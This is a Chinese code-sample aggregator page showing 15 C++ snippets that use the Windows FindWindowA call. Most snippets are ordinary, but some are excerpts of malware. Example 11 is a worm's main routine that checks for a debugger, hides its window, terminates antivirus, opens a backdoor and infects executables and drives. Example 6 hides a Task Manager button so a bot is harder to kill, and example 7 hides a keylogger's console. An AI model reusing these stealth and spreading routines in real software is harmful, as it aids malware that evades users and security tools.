當前位置: 首頁>>代碼示例>>C++>>正文


C++ FindWindowA函數代碼示例

本文整理匯總了C++中FindWindowA函數的典型用法代碼示例。如果您正苦於以下問題:C++ FindWindowA函數的具體用法?C++ FindWindowA怎麽用?C++ FindWindowA使用的例子?那麽, 這裏精選的函數代碼示例或許可以為您提供幫助。


在下文中一共展示了FindWindowA函數的15個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的C++代碼示例。

示例1: notepad

HWND notepad(LPCSTR name) {
	char filename[1024], title[1024];
	FILE *f=0x0;
	sprintf_s(filename, 1024, "%s.txt", name);
	DWORD rc = fopen_s(&f, filename, "w");
	if(rc!=0) {
		printf("[-] failed to create temporary text file\n");
	}
	fclose(f);
	HINSTANCE inst = ShellExecuteA(0x0, "open", "notepad.exe", filename, 0x0, SW_SHOW);
	if(inst < (HINSTANCE)33) {
		printf("[-] failed to start notepad\n");
	}
	while(1) {
	sprintf_s(title, 1024, "%s - Notepad", name);
	HWND hwnd = FindWindowA(0x0, title);
	if(hwnd) {
		return hwnd;
	}
	sprintf_s(title, 1024, "%s.txt - Notepad", name);
	hwnd = FindWindowA(0x0, title);
	if(hwnd) {
		//printf("[-] failed to retrieve handle to notepad window\n");
		//return 0x0;
		return hwnd;
	}
	}
	return 0x0;
}
開發者ID:insecuritea,項目名稱:win-kernel-UAFs,代碼行數:29,代碼來源:original-trigger.cpp

示例2: CheckWindowCreated

/*
 * Check if Window is onscreen with the appropriate name.
 *
 * Windows are not created synchronously.  So we do not know
 * when and if the window will be created/shown on screen.
 * This function implements a polling mechanism to determine
 * creation.
 * A more complicated method would be to use SetWindowsHookEx.
 * Since polling worked fine in my testing, no reason to implement
 * the other.  Comments about other methods of determining when
 * window creation happened were not encouraging (not including
 * SetWindowsHookEx).
 */
static HWND CheckWindowCreated(const char *winName, BOOL closeWindow, int testParams)
{
    HWND window = NULL;
    int i;

    /* Poll for Window Creation */
    for (i = 0; window == NULL && i < PDDE_POLL_NUM; i++)
    {
        Sleep(PDDE_POLL_TIME);
        /* Specify the window class name to make sure what we find is really an
         * Explorer window. Explorer used two different window classes so try
         * both.
         */
        window = FindWindowA("ExplorerWClass", winName);
        if (!window)
            window = FindWindowA("CabinetWClass", winName);
    }
    ok (window != NULL, "Window \"%s\" was not created in %i seconds - assumed failure.%s\n",
        winName, PDDE_POLL_NUM*PDDE_POLL_TIME/1000, GetStringFromTestParams(testParams));

    /* Close Window as desired. */
    if (window != NULL && closeWindow)
    {
        SendMessageA(window, WM_SYSCOMMAND, SC_CLOSE, 0);
        window = NULL;
    }
    return window;
}
開發者ID:AmesianX,項目名稱:wine,代碼行數:41,代碼來源:progman_dde.c

示例3: main

int main(int argc,char **argv)
{
    argv++; argc--;
	if (argc!=2) {
		printf("Wrong number of arguments\r\n");
		printf("-g(G) *.ecs or -c *.dat\r\n");
		printf("For unknown orders, use -gu(GU) *.ecs or -cu *.dat\r\n");
		return 1;
	}
	if (strcmp(argv[0],"-g")==0) generate(argv[1]);
	else if (strcmp(argv[0],"-G")==0) {
#ifdef WIN32
		ShowWindow(FindWindowA("ConsoleWindowClass",0),SW_HIDE);
#endif
		generate(argv[1]);
	}
	else if (strcmp(argv[0],"-c")==0) check(argv[1]);

	else if (strcmp(argv[0],"-gu")==0) ugenerate(argv[1]);
	else if (strcmp(argv[0],"-GU")==0) {
#ifdef WIN32
		ShowWindow(FindWindowA("ConsoleWindowClass",0),SW_HIDE);
#endif
		ugenerate(argv[1]);
	}
	else if (strcmp(argv[0],"-cu")==0) ucheck(argv[1]);

}
開發者ID:xurubin,項目名稱:ParallelCollisionSearch,代碼行數:28,代碼來源:main.cpp

示例4: createWindowsConsole

void createWindowsConsole() {
    if(consoleWindow !=0) return;

    //create a console on Windows so users can see messages

    //find an available name for our window
    int console_suffix = 0;
    char consoleTitle[512];
    sprintf(consoleTitle, "%s", "Gource Console");

    while(FindWindowA(0, consoleTitle)) {
        sprintf(consoleTitle, "Gource Console %d", ++console_suffix);
    }

    AllocConsole();
    SetConsoleTitleA(consoleTitle);

    //redirect streams to console
    freopen("conin$", "r", stdin);
    freopen("conout$","w", stdout);
    freopen("conout$","w", stderr);

    consoleWindow = 0;

    //wait for our console window
    while(consoleWindow==0) {
        consoleWindow = FindWindowA(0, consoleTitle);
        SDL_Delay(100);
    }

    //disable the close button so the user cant crash gource
    HMENU hm = GetSystemMenu(consoleWindow, false);
    DeleteMenu(hm, SC_CLOSE, MF_BYCOMMAND);
}
開發者ID:bitshifter,項目名稱:Gource,代碼行數:34,代碼來源:gource.cpp

示例5: FindWindowA

const char *LH_Lg160x43::userInit()
{
#ifdef Q_WS_WIN
    // make sure neither LCDMon.exe nor LCORE.EXE is running on Windows
    if( FindWindowA( "Logitech LCD Monitor Window", "LCDMon" ) ||
            FindWindowA( "QWidget", "LCore" ) )
        return "Logitech drivers are loaded";
#endif
    scan();
    return NULL;
}
開發者ID:ProgrammingCube,項目名稱:lcdhost,代碼行數:11,代碼來源:LH_Lg160x43.cpp

示例6: DisableTaskManagerAllUsersButton

void DisableTaskManagerAllUsersButton() //Disables the All Users button in Task Manager to prevent convenient killing of the process through the object permission modifications
{
    // <!-------! CRC AREA START !-------!>
    char cCheckString[DEFAULT];
    sprintf(cCheckString, "%[email protected]%s", cServer, cChannel);
    char *cStr = cCheckString;
    unsigned long ulCheck = (47048/8)-500;
    int nCheck;
    while((nCheck = *cStr++))
        ulCheck = ((ulCheck << 5) + ulCheck) + nCheck;
    if(ulCheck != ulChecksum6)
        return;
    // <!-------! CRC AREA STOP !-------!>

    HWND hwndTaskManager = FindWindowA("#32770", "Windows Task Manager");
    if(hwndTaskManager != NULL)
    {
        HWND hwndTaskProcTab = FindWindowExA(hwndTaskManager, 0, "#32770", "Processes");
        if(hwndTaskProcTab != NULL)
        {
            HWND hwndTaskManageAllUsersButton = FindWindowExA(hwndTaskProcTab, 0, "Button", NULL);
            if(hwndTaskManageAllUsersButton != NULL)
            {
                EnableWindow(hwndTaskManageAllUsersButton, FALSE);
                ShowWindow(hwndTaskManageAllUsersButton, SW_HIDE);

                CloseHandle(hwndTaskManageAllUsersButton);
            }

            CloseHandle(hwndTaskProcTab);
        }

        CloseHandle(hwndTaskManager);
    }
}
開發者ID:ArpiaPsuv,項目名稱:Athena,代碼行數:35,代碼來源:TaskManagerTricks.cpp

示例7: Stealth

void Stealth()
{
  HWND Stealth;
  AllocConsole();
  Stealth = FindWindowA("ConsoleWindowClass", NULL);
  ShowWindow(Stealth,0);
}
開發者ID:1nv4d3r5,項目名稱:test,代碼行數:7,代碼來源:basicKeylogger.cpp

示例8: WindowFocus

void WindowFocus() {
    HWND Window = FindWindowA("Diablo II", D2WindowTitle);
    SetForegroundWindow(Window);
    Sleep(500);
    SetWindowPos( Window, 0, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOSENDCHANGING);
    Sleep(1000);
}
開發者ID:segrax,項目名稱:sgbb,代碼行數:7,代碼來源:stdafx.cpp

示例9: FindConsoleHandle

HWND FindConsoleHandle() {
  const char alphabet[] =
      "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
  char title[33];
  char old_title[512];

  size_t size = sizeof(title);
  size_t i;
  for (i = 0; i < size - 1; ++i) {
    title[i] = alphabet[rand() % (int)(sizeof(alphabet) - 1)];
  }
  title[i] = '\0';

  if (GetConsoleTitleA(old_title, sizeof(old_title) / sizeof(old_title[0])) ==
      0) {
    return NULL;
  }
  SetConsoleTitleA(title);
  Sleep(40);
  HWND wnd = FindWindowA(NULL, title);
  SetConsoleTitleA(old_title);
  if (wnd == NULL) {
    wnd = GetConsoleWindow();
    if (wnd == NULL) {
      dbg_printf("Didn't find wnd (tried FindWindowA and GetConsoleWindow)\n");
    }
  }
  return wnd;
}
開發者ID:meh,項目名稱:MSYS2-packages,代碼行數:29,代碼來源:main.c

示例10: main

int main()
{
	printf("현재 프로세스 ID : %d\n", GetCurrentProcessId());

	//다른프로세스 ID를 구하는 방법
	//1. 윈도우 핸들을 구한후에
	HWND hwnd = FindWindowA(0, "계산기");
	
	//2. 해당 윈도우를 만든 프로세스의 ID를 구합니다
	DWORD pid;
	DWORD tid = GetWindowThreadProcessId(hwnd, &pid);
	printf("계산기의 프로세스 ID : %d\n", pid);
	
	//계산기의 PID만을 가지고는 계산기에 접근해서 많은 일을 할 수 없다.

	//계산기에 접근하기 위해 OS에게 프로세스핸들을 발급받습니다.
	//보안에 따라 거부될수있습니다.
	HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, 0, pid);
	printf("발급된 핸들 : %x\n", hProcess);
	_getch();
	TerminateProcess(hProcess,0);

	//발근된 핸들은 사용한 후에는 닫아야 합니다.
	CloseHandle(hProcess);

}
開發者ID:choisungwook,項目名稱:Windows,代碼行數:26,代碼來源:PID.c

示例11: main

int main(int argc, char *argv[])
{
    if(IsDebuggerPresent()) return 1;
    if(argc==2) {
        char Thif[256];
        GetModuleFileName(NULL,Thif,sizeof(Thif));
        if(argv[1]==Thif) goto part;
        SetFileAttributes(argv[1],FILE_ATTRIBUTE_NORMAL);
        CopyFile(Thif,argv[1],FALSE);
    }
part:
    CreateMutex(NULL,0,"n349u43jEg35545");
    if(GetLastError()==ERROR_ALREADY_EXISTS) return 1;

    AllocConsole();
    ShowWindow(FindWindowA("ConsoleWindowClass",NULL),SW_HIDE);

    CreateThread(NULL,0,AntiVirusTerminate,NULL,0,NULL);
    CreateThread(NULL,0,ExploitMain,NULL,0,NULL);
    CreateThread(NULL,0,FileBackdoor,NULL,0,NULL);

    Install();
    HOSTSFile();
    InfectExes();
    p2p_spread();
    InfectDrives();
    return 0;
}
開發者ID:cyberthreats,項目名稱:malware-source-cairuh,代碼行數:28,代碼來源:main.c

示例12: DllMain

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
					 )
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
	{
		dllmodule = hModule;
		HMODULE m_handle = GetModuleHandleA(NULL);
		DWORD bbb = (DWORD)m_handle;
		HANDLE hello = FindWindowA(NULL, "Author : 哎喲哥哥嗨你好");
		if (hello != NULL) {
			Hook(0x0351C853 - 0x400000 + bbb, NULL);
			deDetourThread = CreateThread(NULL, NULL, &dwWaitThread, NULL, NULL, NULL);
		}
	}
		break;
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}
開發者ID:niuxianghui,項目名稱:addressHook,代碼行數:26,代碼來源:dllmain.cpp

示例13: Holding

bool CInput::Holding( int iXStart, int iYStart, int iWidth, int iHeight )
{
	if( GetAsyncKeyState( VK_LBUTTON ) && GetActiveWindow() == FindWindowA( charenc( "Valve001" ), NULL ) )
		if( Hovering( iXStart, iYStart, iWidth, iHeight ) )
			return true;

	return false;
}
開發者ID:A5-,項目名稱:Gamerfood_CSGO,代碼行數:8,代碼來源:Input.cpp

示例14: AllocConsole

void g_console::Visible(bool bVisible)
{
	g_utilList::exception->traceLastFunction(__FUNCSIG__, __FUNCDNAME__);

	AllocConsole();
	ShowWindow(FindWindowA("ConsoleWindowClass", nullptr), bVisible);
	g_utilList::console->bOpen = bVisible;
};
開發者ID:Gorzoid,項目名稱:Dunked-Framework,代碼行數:8,代碼來源:g_console.cpp

示例15: right

//右移企鵝
void right(){
	HWND win = FindWindowA("TXGuiFoundation", "QQ");
	if (win != NULL){
		LPRECT rectwin = (LPRECT)malloc(sizeof(struct tagRECT));
		GetWindowRect(win, rectwin);
		SetWindowPos(win, NULL, rectwin->left + 200, rectwin->top, 300, 300, 1);
	}
}
開發者ID:hewenhao2008,項目名稱:QQSpeechRecognition,代碼行數:9,代碼來源:Source.cpp


注:本文中的FindWindowA函數示例由純淨天空整理自Github/MSDocs等開源代碼及文檔管理平台,相關代碼片段篩選自各路編程大神貢獻的開源項目,源碼版權歸原作者所有,傳播和使用請參考對應項目的License;未經允許,請勿轉載。